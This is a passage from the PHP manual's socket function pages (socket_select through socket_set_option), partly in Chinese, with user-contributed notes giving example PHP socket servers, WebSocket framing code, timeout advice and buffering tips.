        handshake($nuevoCliente,$encabezado);
        //Eliminamos el cliente del arreglo $nuevoClienteLector.
        $nuevoClienteIndex=array_search($servidorSocket,$nuevoClienteLector);
        unset($nuevoClienteLector[$nuevoClienteIndex]);
    }
    //Recorremos todos los clientes que tienen datos por leer.
    foreach($nuevoClienteLector as $cliente){
        //Recibimos información del cliente conectado.
        while(socket_recv($cliente,$datosCliente,1024,0)>=1){
            //Decodificamos el mensaje que viene en bytes.
            $mensaje=decodificar($datosCliente);
            //Enviamos el mensaje a todos los sockets conectados.
            enviar($clientes,$mensaje);
            echo $mensaje."\n";
            break 2;
        }
        //Verificamos si el cliente esta desconectado.
        $datosCliente=@socket_read($cliente,1024,PHP_NORMAL_READ);
        if($datosCliente===false){
            $clienteIndex=array_search($cliente,$clientes);
            //Eliminamos el cliente del arreglo $clientes.
            unset($clientes[$clienteIndex]);
            echo "Cliente desconectado.\n";
        }
    }
}
function enviar($clientes,$mensaje){
    $mensaje=codificar($mensaje);
    foreach($clientes as $cliente){
        @socket_write($cliente,$mensaje,strlen($mensaje));
    }
}
socket_close($servidorSocket);
function codificar($socketData){
    $b1 = 0x80 | (0x1 & 0x0f);
    $length = strlen($socketData);

    if($length <= 125)
        $header = pack('CC', $b1, $length);
    elseif($length > 125 && $length < 65536)
        $header = pack('CCn', $b1, 126, $length);
    elseif($length >= 65536)
        $header = pack('CCNN', $b1, 127, $length);
    return $header.$socketData;
}
function decodificar($socketData) {
    $length = ord($socketData[1]) & 127;
    if($length == 126) {
        $masks = substr($socketData, 4, 4);
        $data = substr($socketData, 8);
    }
    elseif($length == 127) {
        $masks = substr($socketData, 10, 4);
        $data = substr($socketData, 14);
    }
    else {
        $masks = substr($socketData, 2, 4);
        $data = substr($socketData, 6);
    }
    $socketData = "";
    for ($i = 0; $i < strlen($data); ++$i) {
        $socketData .= $data[$i] ^ $masks[$i%4];
    }
    return $socketData;
}
function handshake($client_socket_resource,$received_header) {
    $headers = array();
    $lines = preg_split("/\r\n/", $received_header);
    foreach($lines as $line){
        $line = chop($line);
        if(preg_match('/\A(\S+): (.*)\z/', $line, $matches)) $headers[$matches[1]] = $matches[2];
    }
    $secKey = $headers['Sec-WebSocket-Key'];
    $secAccept = base64_encode(pack('H*', sha1($secKey . '258EAFA5-E914-47DA-95CA-C5AB0DC85B11')));
    $buffer  = "HTTP/1.1 101 Web Socket Protocol Handshake\r\n" .
    "Upgrade: websocket\r\n" .
    "Connection: Upgrade\r\n" .
    "Sec-WebSocket-Accept:$secAccept\r\n\r\n";
    socket_write($client_socket_resource,$buffer,strlen($buffer));
}
renmengyang567 at gmail dot com 09-Apr-2019 12:18
<explain>
 A simple socket-select case ^_^

<?php
$sock = socket_create(AF_INET, SOCK_STREAM, getprotobyname('tcp'));
socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1);
socket_bind($sock, '127.0.0.1',5000);
socket_listen($sock,1024);
$all_sock[(int)$sock] = $sock;

while (true) {
    $read = $write = $except = [];
    $tv_sec = 5;
    $tv_usec = 5000;
    $read = $all_sock;

    $changed = socket_select($read, $write, $except, $tv_sec, $tv_sec);

    if (false == $changed)
        print "[error]socket_select() failed
        (" .socket_strerror(socket_last_error()) . ")\n";

    if ($changed < 1)
       continue;

    //var_dump($read);
    //sleep(2);
    foreach ($read as $rsock) {
        // 服务端连接
        if ($rsock === $sock) {
            $client = socket_accept($sock);
            $all_sock[(int)$client] = $client;

        } else {//客户端连接
            $msg= socket_read($rsock, 400,PHP_NORMAL_READ);
            if ($msg !== '') {
                var_dump($msg);
            }
        }
    }
}
socket_close($sock);
malcolm.murphy 31-Jul-2016 06:55
This was mentioned by [Viorel] above but I think it warrants being repeated...

The example provided by [vardhan ( at ) rogers ( dot ) com], while otherwise exceptional, uses the value int(0) for $tv_sec which will cause the iteration to loop as fast as possible, consequently using up any available CPU time.

*** Ideally, $tv_sec should always be set to NULL ***, especially if you are using socket_select in a loop. If you must temporarily stop listening for events to perform another task, then the timeout should be as high as possible to reduce CPU strain (another note suggested preventing 100% CPU usage by setting a low $tv_usec value, which only makes the problem slightly less worse but does not solve it).

Setting the timeout to an explicit null value is basically the same as setting it to infinite. The script will only execute the while loop once every time there is an event.
antti r 16-Dec-2015 12:16
as of 12/2015 and php 5.3.3, the socket_select() maximum sockets is still 1024 and not risable by process file limits (bash ulimit -n). PHP new compilation is required to raise the limits. Or one might rather choose forking or multiple binaries.
simon dot riget at gmail dot com 07-Dec-2013 08:28
A verry simple HTTP webserver written in PHP
Run it in the shell with php <name of file> and test in in the browser with <server address>:8080/test

<?php
  // Reduce the amount of warnings displayed
  error_reporting(E_ALL ^ E_NOTICE);

  // Set up socket for listening
  $host_socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if(!$host_socket) die("Failed to start event server. socket_create: ". socket_strerror(socket_last_error())."\n");

  // set the option to reuse the port
  if(! socket_set_option($host_socket, SOL_SOCKET, SO_REUSEADDR, 1) )
    die("Failed to start event server. socket_set_option: ". socket_strerror(socket_last_error())."\n");

  // bind host socket to localhost or 0.0.0.0 on port 8080
  if(! socket_bind($host_socket,"0.0.0.0",8080) )
    die("Failed to start event server. socket_bind: ". socket_strerror(socket_last_error())."\n");

  // start listening for connections
  if(! socket_listen($host_socket,10) )
    die("Failed to start event server. socket_listen: ".socket_strerror(socket_last_error())."\n");

  while (true) {
    // Make list of sockets to listen for changes in, including host
    $read = array($host_socket);

    // get a list of all the clients that have data to be read from
    $ready=@socket_select($read, $write = NULL, $except = NULL,0);
    if ($ready=== false)
      die("Failed to listen for clients: ". socket_strerror(socket_last_error()));

    // a client request service
    elseif($ready>0){
      // accept new client
      $newsocket = socket_accept($host_socket);

      // Read from socket
      $input = socket_read($newsocket, 1024);
      if($input){
        unset($client_header);
        // Read headers; Split into safe lines
        $line=explode("\n",preg_replace('/[^A-Za-z0-9\-+\n :;=%*?.,\/_]/','',substr($input,0,2000)));
        // Split request line into its parts
        list($client_header["method"],$client_header["url"],$client_header["protocol"])=explode(" ",$line[0]);
        // Remove the request line again.
        unset($line[0]);
        // Make key=value array of headers
        foreach($line as $l){
          list($key,$val)=explode(": ",$l);
          if($key) $client_header[strtolower($key)]=$val;
        }
        // Get IP of client
        socket_getpeername($newsocket, $client_header['ip']);

        // Decode url
        $client_header+=(array)parse_url($client_header['url']);
        parse_str($client_header['query'],$client_header['arg']);

        print_r($client_header);

        // Serve file
        if(strpos($client_header['path'],".html") && file_exists(__DIR__.$client_header['path'])){
          echo "Sending a HTML page to client\n";
          socket_write($newsocket,"$client_header[protocol] 200 OK\r\n");
          socket_write($newsocket,"Content-type: text/html; CHARSET=gb2312\r\n\r\n");
          socket_write($newsocket,file_get_contents(__DIR__.$client_header['path'])."\r\n\r\n");
          socket_close($newsocket);
        }elseif($client_header['path']=="/test"){
          echo "Sending test HTML page to client\n";
          socket_write($newsocket,"<!DOCTYPE HTML><html><head><html><body><h1>Its working!</h1>Have fun\r\n");
          socket_write($newsocket,"<pre>Request header: ". print_r($client_header,true) . "</pre>\r\n");
          socket_write($newsocket,"</body></html>\r\n\r\n");
          socket_close($newsocket);
        }else{
          echo "$client_header[protocol] 404 Not Found\r\n";
          socket_write($newsocket,"$client_header[protocol] 404 Not Found\r\n\r\n");
          socket_close($newsocket);
        }
      }
    }
  }
  socket_close($host_socket);
?>
Viorel 06-Mar-2013 07:38
Probably you will want to use

// get a list of all the clients that have data to be read from
// if there are no clients with data, go to next iteration
        if (socket_select($read, $write = NULL, $except = NULL, NULL) < 1)
            continue;

instead
        if (socket_select($read, $write = NULL, $except = NULL, 0) < 1)
            continue;
which will hang your CPU to 100% (return immediate if nothing to be done)
jean at briskula dot si 04-Feb-2011 05:03
As it was already said, some clients need \0 character to end transmission, for example Flash's XMLSocket.

You should also be prepared to read less data than you have requested.

Here is an example of a socket buffer - it's an array which has socket resources for keys and an array of a timestamp and recieved data as values.

I find that the best practice for sending data is trailing it with a new line and zero character (\n\0), because you will probably have different types of clients which behave differently for reading data from sockets. Some need a \n to fire an event, some need \0.

For recieving data, sometimes you will get splitted data - this can hapen because the buffer is full (in my example 8192 bytes) or it just gets broken during transmission in lower levels.

Sometimes you can read two messages at once, but they have a zero character in between, so you can just use preg_split() to split the messages. The second message may not be complete, so you add it to your buffer.

<?php
    const message_delimiter = "\n\0";

    /*
     * Clear socket buffers older than 1 hour
     */
    function clear_buffer() {
        foreach($this->buffer as $key=>$val) {
            if(time() - $val['ts'] > 3600) {
                unset($this->buffer[$key]);
            }
        }
    }

    /*
     * Add data to a buffer
     */
    function buffer_add($sock,$data) {
        if(!isset($this->buffer[$sock])) {
            $this->buffer[$sock]['data'] = '';
        }

        $this->buffer[$sock]['data'] .= $data;
        $this->buffer[$sock]['ts'] = time();
    }

    function buffer_get($sock) {
        // split buffer by the end of string
        $lines = preg_split('/\0/',$this->buffer[$sock]['data']);

        // reset buffer to the last line of input
        // if the buffer was sent completely, the last line of input should be
        // an empty string
        $this->buffer[$sock]['data'] = trim($lines[count($lines)-1]);

        if(!empty($this->buffer[$sock]['data'])) {
            debug("buffer is not empty for $sock, len: ".strlen($this->buffer[$sock]['data']));
        }

        // remove the last line of input (incomplete data)
        // parse any complete data
        unset($lines[count($lines)-1]);

        // return only the fully sent data
        return $lines;
    }

    function read(&$sock,$len=8192,$flag=MSG_DONTWAIT) {
        $lines = array();

        $this->clear_buffer();

        $bytes_read = @socket_recv($sock,$read_data,$len,$flag);

        if ($bytes_read === false || $bytes_read == 0) {
            return false;
        } else {
            debug("recv: $read_data");
            $this->buffer_add($sock,$read_data);
            return $this->buffer_get($sock);
        }
    }

    /*
     * Write to a socket
     * add a newline and null character at the end
     * some clients don't read until new line is recieved
     *
     * try to send the rest of the data if it gets truncated
     */
    function write(&$sock,$msg) {
        $msg = $msg.self::message_delimiter;
        $length = strlen($msg);
        while(true) {
            $sent = @socket_write($sock,$msg,$length);
            if($sent <= 0) {
                return false;
            }
            if($sent < $length) {
                $msg = substr($msg, $sent);
                $length -= $sent;
                debug("Message truncated: Resending: $msg");
            } else {
                return true;
            }
        }
        return false;
    }
?>
John 02-Jun-2010 09:25
The way the document describes socket_select()'s handling of sockets polled for read is rather obscure.

It says that it checks to see if reading would not "block," but the overall description of socket_select() says it checks for a change in blocking status. Unfortunately, these are in conflict.

If a socket already has data in the buffer, calling socket_select() on that socket would never return (assuming null timeout), and would block forever. :-( This is because the blocking status wouldn't change. It simply stays "non-blocking"

It is important to remember NOT to select() on a socket which may already have data available.

An example...
<?php
//... $socket is already here...
$done = false;
$n = 0;
do{
    $tmp = 0;
    $r = $w = $e = array();
    $r = array($socket);
    socket_select($r,$w,$e,null);
    $n = socket_recv($socket, $tmp, 1024, 0);

    //$done = true; //Something determines that we are done reading...
}while(!$done);
?>
This MAY NOT work... socket_select() is always being called... but we may have data in the input buffer.

We need to ensure that the last time we read, nothing was read... (empty buffer)
<?php
//... $socket is already here...
$done = false;
$n = 0;
do{
    $tmp = 0;
    $r = $w = $e = array();
    $r = array($socket);
    if($n === 0) socket_select($r,$w,$e,null);
    $n = socket_recv($socket, $tmp, 1024, 0);

    //$done = true; //Something determines that we are done reading...
}while(!$done);
?>
magemerlin at list dot ru 17-Apr-2010 03:24
If you using a Flash client - you should know some specific features:

1) when client connects to the server - it is sending to you "<policy-file-request/>"."\0" string. Server should answer an XML policy file, then disconnect from this client. Code is something like

if ('<policy-file-request/>'==substr($data, 0, 22))
                {
                    echo "policy requset.\n";
                    flush();ob_flush();
                    $msg = '<'.'?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" to-ports="*" />
</cross-domain-policy>'."\0";
                    echo "Say to client (crossdomain.xml) ... ";
                    flush();ob_flush();
                    socket_write($read_sock, $msg, strlen($msg));
                    echo "OK\n";
                    flush();ob_flush();

                    echo "Closing ... ";
                    flush();ob_flush();
                    socket_close($read_sock);
                    echo "OK\n";
                    flush();ob_flush();
                }
                else
                {
// here is normal IO operations with client
}

2) every output to client should be ended with "\0" (if using XMLSocket in Flash client) - otherwise flash will not generate onData event

Russian examples is there - http://www.flasher.ru/forum/showpost.php?p=901346&postcount=7
Aaron (aaron at acephalo dot us) 07-Oct-2009 11:21
socket_select() can also serve as a more granular sleep():

<?php
  # half-second sleep
  $undef = array();
  socket_select($undef, $undef, $undef, 0, "500000");
?>
eidberger at jakota dot de 18-Mar-2009 06:06
Just noticed that you have to loop socket_select () when using UDP to get all queued packets:

<?php
while (socket_select ($aRead, $aWrite, $aExcept, 1) > 0) {
    foreach ($aReadUdp as $oSocket) {
        $this->clientReadUdp ($oSocket);
    }
}
?>

That's important because every call of socket_select () on UDP brings you only one result. But there could be 10.000 results queued and if your turnarround time is to slow (server busy, other sleeps etc.), you'll never progress all results in near realtime.
danny at dansheps dot com 16-Sep-2008 09:45
Just to add to this.  Since the information contained in the notes is somewhat old.   It appears keys are being preserved now.

So, if you rely on knowing which keys need to be worked with and were like me and thought that it didnot preserve.  Well it does.
qartis at gmail dot com 30-Nov-2007 01:38
In regards to the code posted by vardhan ( at ) rogers ( dot ) com, it appears that on the following line:
        if (socket_select($read, $write = NULL, $except = NULL, 0) < 1)
the timeout parameter is accidentally set to 0, rather than NULL. This means that the select call will return immediately rather than blocking indefinitely.

Change the socket_select line to the following for great success:
        if (socket_select($read, $write = NULL, $except = NULL, NULL) < 1)
23-Jan-2007 03:04
If you want to use a simple fractional value for timeout:

<?php
socket_select(..., floor($timeout), ceil($timeout*1000000));
?>
Whosawhatsis at that google email thingy 19-Apr-2006 07:35
Another solution to the problem of keys not being preserved is to have an additional array for looking up sockets that uses their resource identifiers as keys. This can be obtained using array_flip() in some cases, but is particularly useful if each socket is associated with an object. In this case, you can make the object's constructor add a pointer to itself to the lookup array with its socket resource identifier as a key and use the following code to execute a read method for the object associated with each socket returned by socket_select():

<?php
socket_select($reads, $writes, $excepts, 0);

foreach ($sockets as $socket) {
    $lookuparray[$socket]->read();
}
?>
ludvig dot ericson at gmail dot com 01-Nov-2005 05:35
Regarding the comment below, No, it does not, it's a system call and I believe it's rather hard to preserve keys.

Additionally, socket_select should be used like it was a user-inputted array, that you don't know what you sent in to.

<?php
$reads = $clients;
$reads[] = $server;

socket_select($reads);

foreach ($reads as $read) {
    /* do some stuff */
}
?>
crimson at NOSPAMtechnologist dot com 30-Sep-2005 04:15
Note that the resulting arrays do NOT maintain keys (PHP 4.3.2) after being run through this function:

Before:
Array
(
    [Client_Socket] => Resource id #6
    [Server_Socket] => Resource id #9
)

After:
Array
(
    [0] => Resource id #6
    [1] => Resource id #9
)

It would have been nice to have the keys stay to figure out which stream you need to receive from, but you'll have to use some fancy foreach loop to figure out which sockets to check.
vardhan ( at ) rogers ( dot ) com 28-Aug-2005 07:46
A simple PHP script using socket_select() to manage multiple connections.
connect using "telnet localhost 9050". it broadcasts your messages that you send through telnet to other users connected to the server -- sort of like a chat script

#!/usr/local/bin/php
<?php

    $port = 9050;

    // create a streaming socket, of type TCP/IP
    $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

    // set the option to reuse the port
    socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1);

    // "bind" the socket to the address to "localhost", on port $port
    // so this means that all connections on this port are now our resposibility to send/recv data, disconnect, etc..
    socket_bind($sock, 0, $port);

    // start listen for connections
    socket_listen($sock);

    // create a list of all the clients that will be connected to us..
    // add the listening socket to this list
    $clients = array($sock);

    while (true) {
        // create a copy, so $clients doesn't get modified by socket_select()
        $read = $clients;

        // get a list of all the clients that have data to be read from
        // if there are no clients with data, go to next iteration
        if (socket_select($read, $write = NULL, $except = NULL, 0) < 1)
            continue;

        // check if there is a client trying to connect
        if (in_array($sock, $read)) {
            // accept the client, and add him to the $clients array
            $clients[] = $newsock = socket_accept($sock);

            // send the client a welcome message
            socket_write($newsock, "no noobs, but ill make an exception :)\n".
            "There are ".(count($clients) - 1)." client(s) connected to the server\n");

            socket_getpeername($newsock, $ip);
            echo "New client connected: {$ip}\n";

            // remove the listening socket from the clients-with-data array
            $key = array_search($sock, $read);
            unset($read[$key]);
        }

        // loop through all the clients that have data to read from
        foreach ($read as $read_sock) {
            // read until newline or 1024 bytes
            // socket_read while show errors when the client is disconnected, so silence the error messages
            $data = @socket_read($read_sock, 1024, PHP_NORMAL_READ);

            // check if the client is disconnected
            if ($data === false) {
                // remove client for $clients array
                $key = array_search($read_sock, $clients);
                unset($clients[$key]);
                echo "client disconnected.\n";
                // continue to the next client to read from, if any
                continue;
            }

            // trim off the trailing/beginning white spaces
            $data = trim($data);

            // check if there is any data after trimming off the spaces
            if (!empty($data)) {

                // send this to all the clients in the $clients array (except the first one, which is a listening socket)
                foreach ($clients as $send_sock) {

                    // if its the listening sock or the client that we got the message from, go to the next one in the list
                    if ($send_sock == $sock || $send_sock == $read_sock)
                        continue;

                    // write the message to the client -- add a newline character to the end of the message
                    socket_write($send_sock, $data."\n");

                } // end of broadcast foreach

            }

        } // end of reading foreach
    }

    // close the listening socket
    socket_close($sock);
?>
drenintell 01-May-2005 01:13
The continuation of my my previous post on 28-Apr-2005 10:19 at
http://ca3.php.net/manual/en/function.socket-select.php

Here it is: (Link is broken into 2 parts)

'http://gtkphp.org/php_socket_select_hangs
_explanation_and_solution.html'
Richard Neill 16-Sep-2004 09:37
It is probably a bad idea to watch an array of sockets for input with socket_select, and then socket_read() using PHP_NORMAL_READ.

Although this seems desirable, you can end up with a permanently blocked program, if someone sends you malformed input which is missing a trailing \n \r. Guess how I found that out.
calimero dot NOSPAM at NOSPAM dot creatixnet dot com 14-Feb-2003 04:36
Please note that the timeout parameter has important side-effects on the CPU usage of your script.

Setting the timeout to 0 will make your CPU looping without any time to have some rest and handle other running processes on your system, causing the system load to increase heavily while your script is running.

Personnaly, I use a value of 15 ms for this parameter. this ensures a good listening frequency while letting your system load clear.

Example :
$read = array($ListeningSocket);
$num_changed_sockets = socket_select($read, $write = NULL, $except = NULL, 0, 10);

Hope this helps.
daveb at optusnet dot com dot au 09-Sep-2002 09:27
If you haven't done any network programming before, PHP's socket_select() might appear a bit strange to you. I've written a simple php "partyline" script to demonstrate the multi-socket use of select'ing at http://dave.dapond.com/socketselect.php.txt
julian dot haupt at gmx dot de 09-Jul-2002 10:15
hello,
i just made a class which acts similiar to Perl's IO::Select in order to make socket selecting very easy

your script should look something like that:

<?php
$server = new Server;
$client = new Client;

for (;;) {
  foreach ($select->can_read(0) as $socket) {

    if ($socket == $client->socket) {
      // New Client Socket
      $select->add(socket_accept($client->socket));
    }
    else {
      //there's something to read on $socket
    }
  }
}
?>

you should of course implement some routines to detect broken sockets and remove them from the select object.

you can also do output buffering and check in the main-loop for sockets that are ready to write

<?php
class select {
  var $sockets;

  function select($sockets) {

    $this->sockets = array();

    foreach ($sockets as $socket) {
      $this->add($socket);
    }
  }

  function add($add_socket) {
    array_push($this->sockets,$add_socket);
  }

  function remove($remove_socket) {
    $sockets = array();

    foreach ($this->sockets as $socket) {
      if($remove_socket != $socket)
        $sockets[] = $socket;
    }

    $this->sockets = $sockets;
  }

  function can_read($timeout) {
    $read = $this->sockets;
    socket_select($read,$write = NULL,$except = NULL,$timeout);
    return $read;
  }

  function can_write($timeout) {
    $write = $this->sockets;
    socket_select($read = NULL,$write,$except = NULL,$timeout);
    return $write;
  }
}
?>


向已连接的套接字发送数据

  • ? socket_select
  • socket_sendmsg ?
  • PHP Manual
  • Socket 函数
  • 向已连接的套接字发送数据

socket_send

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_send — 向已连接的套接字发送数据

说明

socket_send(
Socket $socket,
string $data,
int $length,
int $flags
): int|false

socket_send() 从 data 中发送 length 字节到套接字 socket

参数

socket

由 socket_create() 或 socket_accept() 创建的 Socket 实例。

data

将要发送到远端主机的缓冲区数据。

length

要从 data 发送到远端主机的字节数。

flags

flags 的值可以是下列任意 flag 的组合。使用按位或运算符（|）来组合不同的 flag。

flags 可用值
MSG_OOB | 发送 OOB（带外）数据。
MSG_EOR | 逻辑记录标记。发送的数据结束一个逻辑记录。
MSG_EOF | 从发送方关闭套接字，并在指定数据末尾设置结束标识。发送数据后结束事务。
MSG_DONTROUTE | 绕过路由，直接使用接口。

返回值

socket_send() 返回发送的字节数，发生错误时返回 false。

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。

参见

  • socket_sendto() - 向套接字发送消息，无论它是否已建立连接

User Contributed Notes

There are no user contributed notes for this page.


Send a message

  • ? socket_send
  • socket_sendto ?
  • PHP Manual
  • Socket 函数
  • Send a message

socket_sendmsg

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

socket_sendmsg — Send a message

说明

socket_sendmsg(Socket $socket, array $message, int $flags = 0): int|false

Warning

本函数还未编写文档，仅有参数列表。

参数

socket

message

flags

返回值

Returns the number of bytes sent, 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。

参见

  • socket_recvmsg() - Read a message
  • socket_cmsg_space() - Calculate message buffer size

User Contributed Notes

There are no user contributed notes for this page.


向套接字发送消息，无论它是否已建立连接

  • ? socket_sendmsg
  • socket_set_block ?
  • PHP Manual
  • Socket 函数
  • 向套接字发送消息，无论它是否已建立连接

socket_sendto

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_sendto — 向套接字发送消息，无论它是否已建立连接

说明

socket_sendto(
Socket $socket,
string $data,
int $length,
int $flags,
string $address,
?int $port = null
): int|false

函数 socket_sendto() 通过套接字 socket 从参数 data 中发送 length 指定的字节数到 address 地址的 port 端口。

参数

socket

由 socket_create() 创建的 Socket 实例。

data

要从 data 缓冲区发送的数据。

length

data 中要发送的 length 长度的字节数。

flags

flags 的值可以是下列任意 flag 的组合。使用按位或运算符（|）来组合不同的 flag。

flags 可用值
MSG_OOB | 发送 OOB（带外）数据。
MSG_EOR | 逻辑记录标记。发送的数据结束一个逻辑记录。
MSG_EOF | 从发送方关闭套接字，并在指定数据末尾设置结束标识。发送数据后结束事务。
MSG_DONTROUTE | 绕过路由，直接使用接口。

address

远端 IP 地址。

port

port 是数据要被发送到的远端端口号。

返回值

socket_sendto() 返回发送到远端地址的字节数。发生错误时返回 false。

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。
8.0.0 | port 现在允许为 null。

示例

Example #1 socket_sendto() 示例

<?php
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);

$msg = "Ping !";
$len = strlen($msg);

socket_sendto($sock, $msg, $len, 0, '127.0.0.1', 1223);
socket_close($sock);
?>

参见

  • socket_send() - 向已连接的套接字发送数据

User Contributed Notes

ole_DOT_omland_AT_gmail_DOT_com 12-Oct-2005 07:44
Here's how you can make an udp broadcast, useful sometimes, and does seem hard to figure out hwo to do..

<?php
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1);
socket_sendto($sock, $broadcast_string, strlen($broadcast_string), 0, '255.255.255.255', $port);
?>


设置套接字为阻塞模式

  • ? socket_sendto
  • socket_set_nonblock ?
  • PHP Manual
  • Socket 函数
  • 设置套接字为阻塞模式

socket_set_block

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

socket_set_block — 设置套接字为阻塞模式

说明

socket_set_block(Socket $socket): bool

socket_set_block() 函数移除了由 socket 参数定义的 O_NONBLOCK 标记。

当一个操作（例如接收、发送、连接、接受连接......）在一个阻塞套接字上执行时，脚本在接受到信号或者可以执行此操作前将暂停执行。

参数

socket

由 socket_create() 或 socket_accept() 创建的 Socket 实例。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。

示例

Example #1 socket_set_block() 示例

<?php
$socket = socket_create_listen(1223);
socket_set_block($socket);

socket_accept($socket);
?>

此示例在 1223 端口上创建了监听所有接口的套接字，并把此套接字设置为 O_BLOCK 模式。socket_accept() 将挂起，直到接受新的连接。

参见

  • socket_set_nonblock() - 设置套接字为非阻塞模式
  • socket_set_option() - 为套接字设置套接字选项

User Contributed Notes

laacz at laacz dot lv 04-Dec-2014 08:43
Besides true and false socket_set_block might return NULL if you're not too careful. That would happen when passing non socket resource as first parameter.

E.g. socket_set_block(false)) would return NULL and emit warning that you're trying to do things with non-socket.


设置套接字为非阻塞模式

  • ? socket_set_block
  • socket_set_option ?
  • PHP Manual
  • Socket 函数
  • 设置套接字为非阻塞模式

socket_set_nonblock

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_set_nonblock — 设置套接字为非阻塞模式

说明

socket_set_nonblock(Socket $socket): bool

socket_set_nonblock() 为由 socket 参数指定的套接字设置 O_NONBLOCK 标记。

当一个操作（例如接收、发送、连接、接受连接......）在一个非阻塞套接字上执行时，脚本在接受到信号或操作处理完成前都不会暂停执行。如果操作会导致阻塞，被调用的函数将失败。

参数

socket

由 socket_create() 或 socket_accept() 创建的 Socket 实例。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。

示例

Example #1 socket_set_nonblock() 示例

<?php
$socket = socket_create_listen(1223);
socket_set_nonblock($socket);

socket_accept($socket);
?>

此示例在 1223 端口上创建了监听所有接口的套接字，并把此套接字设置为 O_NONBLOCK 模式。除非此时恰好有待处理的连接，否则 socket_accept() 将立即失败。

参见

  • socket_set_block() - 设置套接字为阻塞模式
  • socket_set_option() - 为套接字设置套接字选项
  • stream_set_blocking() - 为资源流设置阻塞或者阻塞模式

User Contributed Notes

kpobococ at gmail dot com 11-Sep-2009 07:46
Beware, when using this function within a loop (i.e. a demon with a socket). The socket_accept(), for example, emits a warning each time there is no incoming connection available to be read. My php error log file got huge in a matter of seconds, eventually crashing the server.

Of course, i used the @ before the function to take care of that problem.

[EDITOR: One can (and should) use socket_select to detect a new connection on a socket (it's a "readable" event)]


为套接字设置套接字选项

  • ? socket_set_nonblock
  • socket_setopt ?
  • PHP Manual
  • Socket 函数
  • 为套接字设置套接字选项

socket_set_option

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

socket_set_option — 为套接字设置套接字选项

说明

socket_set_option(
Socket $socket,
int $level,
int $option,
array|string|int $value
): bool

socket_set_option() 函数在 socket 的指定协议 level 上设置由 option 参数指定的选项，value 为指定值。

参数

socket

由 socket_create() 或 socket_accept() 创建的 Socket 实例。

level

level 参数定义选项所在的协议级别。例如，在 socket 级别设置选项，将使用 SOL_SOCKET 作为 level 参数。在其它级别，例如 TCP，可以使用该级别定义的协议号来指定级别。协议号可以通过 getprotobyname() 找到。

option

套接字可用选项与 socket_get_option() 函数的选项相同。

value

选项值。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。

示例

Example #1 socket_set_option() 示例

<?php
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if (!is_resource($socket)) {
echo 'Unable to create socket: '. socket_strerror(socket_last_error()) . PHP_EOL;
}

if (!socket_set_option($socket, SOL_SOCKET, SO_REUSEADDR, 1)) {
echo 'Unable to set option on socket: '. socket_strerror(socket_last_error()) . PHP_EOL;
}

if (!socket_bind($socket, '127.0.0.1', 1223)) {
echo 'Unable to bind socket: '. socket_strerror(socket_last_error()) . PHP_EOL;
}

$rval = socket_get_option($socket, SOL_SOCKET, SO_REUSEADDR);

if ($rval === false) {
echo 'Unable to get socket option: '. socket_strerror(socket_last_error()) . PHP_EOL;
} else if ($rval !== 0) {
echo 'SO_REUSEADDR is set on socket !' . PHP_EOL;
}
?>

参见

  • socket_create() - 创建一个套接字（通讯节点）
  • socket_bind() - 给套接字绑定名字
  • socket_strerror() - 返回描述套接字错误的字符串
  • socket_last_error() - 返回套接字上的最后一个错误
  • socket_get_option() - 获取套接字的套接字选项

User Contributed Notes

gmail user asmqb7 29-Jun-2019 05:31
PLEASE NOTE

PHP 7.3.6, and probably many previous versions, automatically sets SO_REUSEADDR when you use stream_socket_server().

php_network_bind_socket_to_local_addr() is called at https://github.com/php/php-src/blob/623911f993f39ebbe75abe2771fc89faf6b15b9b/main/streams/xp_socket.c#L675 and defined at https://github.com/php/php-src/blob/61a6a6ec51297506c54f3c6e60ace9b892d0a3e4/main/network.c#L401 and if you take a look you'll see

#ifdef SO_REUSEADDR
            setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char*)&sockoptval, sizeof(sockoptval));
#endif

I initially thought I'd need to play with context options to turn this on, but no, the simplest single-arg call with no error checking and just an address, works for me.

strace your PHP binary to be 100% sure:

...
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
...

The chances are you ARE using SO_REUSEADDR unless you're using a 100-year old UNIX clone in a month with a Z in it.
renmengyang567 at gmail dot com 07-Apr-2019 10:04
<question>
 Why is the size of the buffer 2 times that set by me?
<?php
//Before setting the cache area
$sock = socket_create(AF_INET, SOCK_STREAM, getprotobyname('tcp'));
socket_bind($sock, '127.0.0.1',5000);
socket_listen($sock,1024);
$sndbuf = socket_get_option($sock,SOL_SOCKET,SO_SNDBUF);
$rcvbuf = socket_get_option($sock,SOL_SOCKET,SO_RCVBUF);
printf("send buffer size(写缓存区大小):%sm \n",$sndbuf/1024);
printf("receive buffer(读缓存区大小)%sm \n",$rcvbuf/1024);

//After setting the cache area
$snd_buf = 1024*3;
$rcv_buf = 1024*3;

socket_set_option($sock,SOL_SOCKET,SO_SNDBUF, $snd_buf);
